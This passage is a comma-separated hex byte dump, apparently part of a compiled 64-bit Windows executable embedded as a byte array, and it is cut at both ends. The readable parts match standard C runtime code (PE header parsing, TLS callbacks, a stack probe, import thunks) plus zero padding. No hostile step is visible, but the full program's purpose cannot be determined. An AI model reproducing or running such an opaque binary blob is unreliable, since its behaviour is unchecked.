0,0x00,0xFF,0xFF,0xFF,0xFF,0x4C,0x09,0xDE,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x1C,0x4C,0x39,0xFE,0x0F,0x8F,0xEF,0xFE,0xFF,0xFF,0x48,0xB8,0xFF,0xFF,0xFF,0x7F,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC6,0x0F,0x8E,0xDC,0xFE,0xFF,0xFF,0x48,0x89,0xF9,0xE8,0xE1,0xFB,0xFF,0xFF,0x89,0x37,0xE9,0x7C,0xFE,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xF9,0xE8,0xC8,0xFB,0xFF,0xFF,0x48,0x89,0x37,0xE9,0x62,0xFE,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0x37,0xFE,0xFF,0xFF,0xE9,0x44,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x74,0x99,0xEB,0xB3,0x0F,0x1F,0x40,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0xDD,0xFE,0xFF,0xFF,0xE9,0xE7,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x4C,0x39,0xEB,0x0F,0x83,0x08,0xFD,0xFF,0xFF,0x4C,0x8B,0x35,0x30,0x2E,0x00,0x00,0x8B,0x73,0x04,0x8B,0x3B,0x48,0x83,0xC3,0x08,0x4C,0x01,0xF6,0x03,0x3E,0x48,0x89,0xF1,0xE8,0x5A,0xFB,0xFF,0xFF,0x89,0x3E,0x4C,0x39,0xEB,0x72,0xE3,0xE9,0xCE,0xFE,0xFF,0xFF,0x89,0xCA,0x48,0x8D,0x0D,0x2D,0x2D,0x00,0x00,0xE8,0xD0,0xFA,0xFF,0xFF,0x48,0x8D,0x0D,0xE9,0x2C,0x00,0x00,0xE8,0xC4,0xFA,0xFF,0xFF,0x90,0x90,0x90,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8D,0x2D,0x48,0x7C,0x00,0x00,0x4C,0x89,0xE9,0xFF,0x15,0xAF,0x9A,0x00,0x00,0x48,0x8B,0x1D,0x18,0x7C,0x00,0x00,0x48,0x85,0xDB,0x74,0x38,0x4C,0x8B,0x25,0xDC,0x9A,0x00,0x00,0x48,0x8B,0x3D,0x9D,0x9A,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x0B,0x41,0xFF,0xD4,0x48,0x89,0xC6,0xFF,0xD7,0x48,0x85,0xF6,0x74,0x0D,0x85,0xC0,0x75,0x09,0x48,0x8B,0x43,0x08,0x48,0x89,0xF1,0xFF,0xD0,0x48,0x8B,0x5B,0x10,0x48,0x85,0xDB,0x75,0xDB,0x4C,0x89,0xE9,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0x48,0xFF,0x25,0x85,0x9A,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0xB5,0x7B,0x00,0x00,0x89,0xCF,0x48,0x89,0xD6,0x85,0xC0,0x75,0x14,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xBA,0x18,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0xE8,0x51,0x08,0x00,0x00,0x48,0x89,0xC3,0x48,0x85,0xC0,0x74,0x33,0x48,0x89,0x70,0x08,0x48,0x8D,0x35,0x8E,0x7B,0x00,0x00,0x89,0x38,0x48,0x89,0xF1,0xFF,0x15,0xF3,0x99,0x00,0x00,0x48,0x8B,0x05,0x5C,0x7B,0x00,0x00,0x48,0x89,0xF1,0x48,0x89,0x1D,0x52,0x7B,0x00,0x00,0x48,0x89,0x43,0x10,0xFF,0x15,0x08,0x9A,0x00,0x00,0xEB,0xA2,0x83,0xC8,0xFF,0xEB,0x9F,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0x36,0x7B,0x00,0x00,0x89,0xCB,0x85,0xC0,0x75,0x10,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8D,0x35,0x31,0x7B,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0x98,0x99,0x00,0x00,0x48,0x8B,0x0D,0x01,0x7B,0x00,0x00,0x48,0x85,0xC9,0x74,0x2F,0x31,0xD2,0xEB,0x13,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xCA,0x48,0x85,0xC0,0x74,0x1B,0x48,0x89,0xC1,0x8B,0x01,0x39,0xD8,0x48,0x8B,0x41,0x10,0x75,0xEB,0x48,0x85,0xD2,0x74,0x26,0x48,0x89,0x42,0x10,0xE8,0xA5,0x07,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0x84,0x99,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0x05,0xA9,0x7A,0x00,0x00,0xEB,0xD5,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x83,0xFA,0x02,0x0F,0x84,0xAC,0x00,0x00,0x00,0x77,0x2A,0x85,0xD2,0x74,0x46,0x8B,0x05,0x88,0x7A,0x00,0x00,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0xC7,0x05,0x76,0x7A,0x00,0x00,0x01,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x66,0x90,0x83,0xFA,0x03,0x75,0xED,0x8B,0x05,0x5D,0x7A,0x00,0x00,0x85,0xC0,0x74,0xE3,0xE8,0x0C,0xFE,0xFF,0xFF,0xEB,0xDC,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x8B,0x05,0x42,0x7A,0x00,0x00,0x85,0xC0,0x75,0x6E,0x8B,0x05,0x38,0x7A,0x00,0x00,0x83,0xF8,0x01,0x75,0xBD,0x48,0x8B,0x1D,0x24,0x7A,0x00,0x00,0x48,0x85,0xDB,0x74,0x18,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x48,0x89,0xD9,0x48,0x8B,0x5B,0x10,0xE8,0xE4,0x06,0x00,0x00,0x48,0x85,0xDB,0x75,0xEF,0x48,0x8D,0x0D,0x20,0x7A,0x00,0x00,0x48,0xC7,0x05,0xF5,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x05,0xF3,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x15,0x6D,0x98,0x00,0x00,0xE9,0x72,0xFF,0xFF,0xFF,0xE8,0x3B,0x04,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0x83,0xFD,0xFF,0xFF,0xEB,0x8B,0x90,0x48,0x8D,0x0D,0xD9,0x79,0x00,0x00,0xFF,0x15,0x6B,0x98,0x00,0x00,0xE9,0x36,0xFF,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x31,0xC0,0x66,0x81,0x39,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x51,0x3C,0x48,0x01,0xD1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x81,0x79,0x18,0x0B,0x02,0x0F,0x94,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x48,0x63,0x41,0x3C,0x48,0x01,0xC1,0x0F,0xB7,0x41,0x14,0x44,0x0F,0xB7,0x41,0x06,0x48,0x8D,0x44,0x01,0x18,0x66,0x45,0x85,0xC0,0x74,0x32,0x41,0x8D,0x48,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xC8,0x28,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC2,0x72,0x08,0x03,0x48,0x08,0x48,0x39,0xCA,0x72,0x0B,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCE,0xE8,0x2B,0x06,0x00,0x00,0x48,0x83,0xF8,0x08,0x77,0x7D,0x48,0x8B,0x15,0xAE,0x2A,0x00,0x00,0x31,0xDB,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x5B,0x48,0x63,0x42,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x75,0x4C,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x44,0x0F,0xB7,0x50,0x14,0x48,0x8D,0x5C,0x10,0x18,0x0F,0xB7,0x50,0x06,0x66,0x85,0xD2,0x74,0x44,0x8D,0x42,0xFF,0x48,0x8D,0x04,0x80,0x48,0x8D,0x7C,0xC3,0x28,0xEB,0x0F,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x83,0xC3,0x28,0x48,0x39,0xFB,0x74,0x27,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xF2,0x48,0x89,0xD9,0xE8,0xC6,0x05,0x00,0x00,0x85,0xC0,0x75,0xE2,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xDB,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x19,0x2A,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x41,0x0F,0xB7,0x40,0x14,0x48,0x29,0xD1,0x49,0x8D,0x44,0x00,0x18,0x45,0x0F,0xB7,0x40,0x06,0x66,0x45,0x85,0xC0,0x74,0x34,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x4C,0x8D,0x4C,0xD0,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC2,0x4C,0x39,0xC1,0x72,0x08,0x03,0x50,0x08,0x48,0x39,0xD1,0x72,0xAC,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x48,0x8B,0x05,0x99,0x29,0x00,0x00,0x31,0xC9,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x50,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x09,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x0F,0xB7,0x48,0x06,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x4C,0x8B,0x05,0x59,0x29,0x00,0x00,0x31,0xC0,0x66,0x41,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x49,0x63,0x50,0x3C,0x4C,0x01,0xC2,0x81,0x3A,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x81,0x7A,0x18,0x0B,0x02,0x75,0xF0,0x0F,0xB7,0x42,0x14,0x44,0x0F,0xB7,0x42,0x06,0x48,0x8D,0x44,0x02,0x18,0x66,0x45,0x85,0xC0,0x74,0x2C,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x48,0x8D,0x54,0xD0,0x28,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xF6,0x40,0x27,0x20,0x74,0x09,0x48,0x85,0xC9,0x74,0xBD,0x48,0x83,0xE9,0x01,0x48,0x83,0xC0,0x28,0x48,0x39,0xC2,0x75,0xE8,0x31,0xC0,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x48,0x8B,0x05,0xD9,0x28,0x00,0x00,0x31,0xD2,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x48,0x3C,0x48,0x01,0xC1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x09,0x48,0x89,0xD0,0xC3,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x48,0x0F,0x44,0xD0,0x48,0x89,0xD0,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x99,0x28,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x48,0x29,0xD1,0x45,0x0F,0xB7,0x48,0x06,0x41,0x0F,0xB7,0x50,0x14,0x49,0x8D,0x54,0x10,0x18,0x66,0x45,0x85,0xC9,0x74,0xD7,0x41,0x8D,0x41,0xFF,0x48,0x8D,0x04,0x80,0x4C,0x8D,0x4C,0xC2,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC0,0x4C,0x39,0xC1,0x72,0x08,0x03,0x42,0x08,0x48,0x39,0xC1,0x72,0x0C,0x48,0x83,0xC2,0x28,0x4C,0x39,0xCA,0x75,0xE3,0x31,0xC0,0xC3,0x8B,0x42,0x24,0xF7,0xD0,0xC1,0xE8,0x1F,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x4C,0x8B,0x1D,0x09,0x28,0x00,0x00,0x45,0x31,0xC0,0x66,0x41,0x81,0x3B,0x4D,0x5A,0x41,0x89,0xCA,0x75,0x0F,0x49,0x63,0x4B,0x3C,0x4C,0x01,0xD9,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x0C,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x75,0xEC,0x8B,0x81,0x90,0x00,0x00,0x00,0x85,0xC0,0x74,0xE2,0x0F,0xB7,0x51,0x14,0x44,0x0F,0xB7,0x49,0x06,0x48,0x8D,0x54,0x11,0x18,0x66,0x45,0x85,0xC9,0x74,0xCE,0x41,0x8D,0x49,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xCA,0x28,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC0,0x72,0x08,0x03,0x4A,0x08,0x48,0x39,0xC8,0x72,0x14,0x48,0x83,0xC2,0x28,0x49,0x39,0xD1,0x75,0xE3,0x45,0x31,0xC0,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x4C,0x01,0xD8,0xEB,0x0B,0x0F,0x1F,0x00,0x41,0x83,0xEA,0x01,0x48,0x83,0xC0,0x14,0x8B,0x48,0x04,0x85,0xC9,0x75,0x07,0x8B,0x50,0x0C,0x85,0xD2,0x74,0xD7,0x45,0x85,0xD2,0x7F,0xE5,0x44,0x8B,0x40,0x0C,0x4D,0x01,0xD8,0x4C,0x89,0xC0,0xC3,0x90,0x90,0xDB,0xE3,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x51,0x50,0x48,0x3D,0x00,0x10,0x00,0x00,0x48,0x8D,0x4C,0x24,0x18,0x72,0x19,0x48,0x81,0xE9,0x00,0x10,0x00,0x00,0x48,0x83,0x09,0x00,0x48,0x2D,0x00,0x10,0x00,0x00,0x48,0x3D,0x00,0x10,0x00,0x00,0x77,0xE7,0x48,0x29,0xC1,0x48,0x83,0x09,0x00,0x58,0x59,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0x01,0x00,0x00,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x45,0x31,0xC0,0x48,0x89,0xD0,0x48,0x85,0xD2,0x75,0x0E,0xEB,0x17,0x0F,0x1F,0x00,0x49,0x83,0xC0,0x01,0x4C,0x39,0xC0,0x74,0x0B,0x66,0x42,0x83,0x3C,0x41,0x00,0x75,0xEF,0x4C,0x89,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x89,0xCB,0xE8,0x8E,0x01,0x00,0x00,0x89,0xD9,0x48,0x8D,0x14,0x49,0x48,0xC1,0xE2,0x04,0x48,0x01,0xD0,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x48,0x85,0xC9,0x74,0x12,0x66,0x0F,0xEF,0xC0,0x31,0xC0,0x48,0xC7,0x41,0x10,0x00,0x00,0x00,0x00,0x0F,0x11,0x01,0xC3,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x0F,0x1F,0x00,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCB,0x48,0x89,0xD7,0x48,0x85,0xC9,0x0F,0x84,0xB2,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0xE8,0x40,0x01,0x00,0x00,0x48,0x83,0x3B,0x00,0x74,0x6A,0x48,0x8B,0x53,0x08,0x48,0x8B,0x43,0x10,0x48,0x39,0xC2,0x74,0x25,0x48,0x8D,0x42,0x08,0xB9,0x08,0x00,0x00,0x00,0x48,0x89,0x43,0x08,0x48,0x89,0x3A,0xE8,0x28,0x01,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8B,0x0B,0x48,0x89,0xD6,0x48,0x29,0xCE,0x49,0x89,0xF4,0x49,0xC1,0xFC,0x03,0x49,0xC1,0xE4,0x04,0x4C,0x89,0xE2,0xE8,0x54,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x45,0x48,0x89,0x03,0x48,0x8D,0x14,0x30,0x4C,0x01,0xE0,0x48,0x89,0x43,0x10,0xEB,0xAA,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0xE8,0xE9,0x00,0x00,0x00,0x48,0x89,0x03,0x48,0x89,0xC2,0x48,0x85,0xC0,0x74,0x14,0x48,0x89,0x43,0x08,0x48,0x8D,0x80,0x00,0x01,0x00,0x00,0x48,0x89,0x43,0x10,0xE9,0x70,0xFF,0xFF,0xFF,0xB9,0x08,0x00,0x00,0x00,0xE8,0xA8,0x00,0x00,0x00,0x83,0xC8,0xFF,0xE9,0x7A,0xFF,0xFF,0xFF,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0xB9,0x08,0x00,0x00,0x00,0xE8,0x6E,0x00,0x00,0x00,0x48,0x8B,0x37,0x66,0x0F,0xEF,0xC0,0x48,0x8B,0x5F,0x08,0x48,0xC7,0x47,0x10,0x00,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0x0F,0x11,0x07,0xE8,0x5E,0x00,0x00,0x00,0x48,0x85,0xF6,0x74,0x24,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x72,0x13,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0xEF,0xFF,0xD0,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x73,0xED,0x48,0x89,0xF1,0xE8,0x55,0x00,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x92,0x00,0x00,0x90,0x90,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x6A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x5A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x4A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x3A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x2A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x1A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x0A,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0xFA,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xEA,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xDA,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xCA,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xBA,0x90,0x00,0x00,0x90,0x90,0xE9,0x9B,0x92,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xD0,0x80,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x81,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x7D,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x7F,0x8A,0xD9,0x02,0x00,0x00,0x00,0x40,0x7E,0x8A,0xD9,0x02,0x00,0x00,0x00,0x20,0x7E,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0